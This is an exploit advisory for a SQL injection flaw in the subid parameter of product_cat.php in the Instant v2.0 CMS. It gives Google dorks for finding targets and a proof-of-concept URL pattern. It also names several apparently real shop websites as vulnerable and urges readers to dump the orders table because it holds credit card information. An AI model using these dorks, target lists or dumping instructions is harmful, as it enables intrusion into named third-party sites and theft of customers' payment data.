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Instant v2.0 SQL Injection Vulnerability

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: # Exploit Title : Instant v2.0 SQL Injection Vulnerability
: # Date : 10th March 2015
: # Author : X-Cisadane
: # CMS Name : Instant v2.0 (another OverCoffee production)
: # CMS Developer : overcoffee.com
: # Version : 2.0
: # Category : Web Applications
: # Vulnerability : SQL Injection
: # Tested On : Google Chrome Version 40.0.2214.115 m (Windows 7), Havij 1.16 Pro & SQLMap 1.0-dev-nongit-20150125
: # Greetz to : Explore Crew, CodeNesia, Bogor Hackers Community, Ngobas and Winda Utari
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A SQL Injection Vulnerability has been discovered in the Instant v.2.0 CMS.
The Vulnerability is located in the subid Value of the product_cat.php File. Attackers are able to execute own SQL commands
by usage of a GET Method Request with manipulated subid Value.
Attackers are able to read Database information by execution of own SQL commands.

DORKS (How to find the target) :

"Powered By Instant" inurl:/catalog/
inurl:/product_cat.php?subid=
Or use your own Google Dorks :)

Proof of Concept

SQL Injection
PoC :
http://[Site]/[Path]/product_cat.php/subid=['SQLi]
And you have to change the URL structure to
http://[Site]/[Path]/product_cat.php?subid=['SQLi]

Example :
http://www.cynthiawebbdesigns.com/catalog/product_cat.php/subid=16617/index.html?PHPSESSID=3ef7e156add41316201ffe87bd489a7d
Just change the URL structure to http://www.cynthiawebbdesigns.com/catalog/product_cat.php?subid='16617
And you'll see this error notice : You have an error in your SQL syntax; check the manual that corresponds to your MySQL …

Note : This CMS stored Credit Card Infos on the Database, just open your Fav Tool and Dump the orders Table
PIC / PoC : http://i59.tinypic.com/4l0poh.png

Another Vuln Sites :
http://www.unitymarketingonline.com/catalog/product_cat.php?subid=['SQLi]
http://www.peacefulinspirations.net/catalog/product_cat.php?subid=['SQLi]
http://www.dickensgifts.com/catalog/product_cat.php?subid=['SQLi]
http://www.frogandprincellc.com/catalog/product_cat.php?subid=['SQLi]
http://www.debrekht.com/catalog/product_cat.php?subid=['SQLi]
… etc …

-= Regards =-
Steevee A.K.A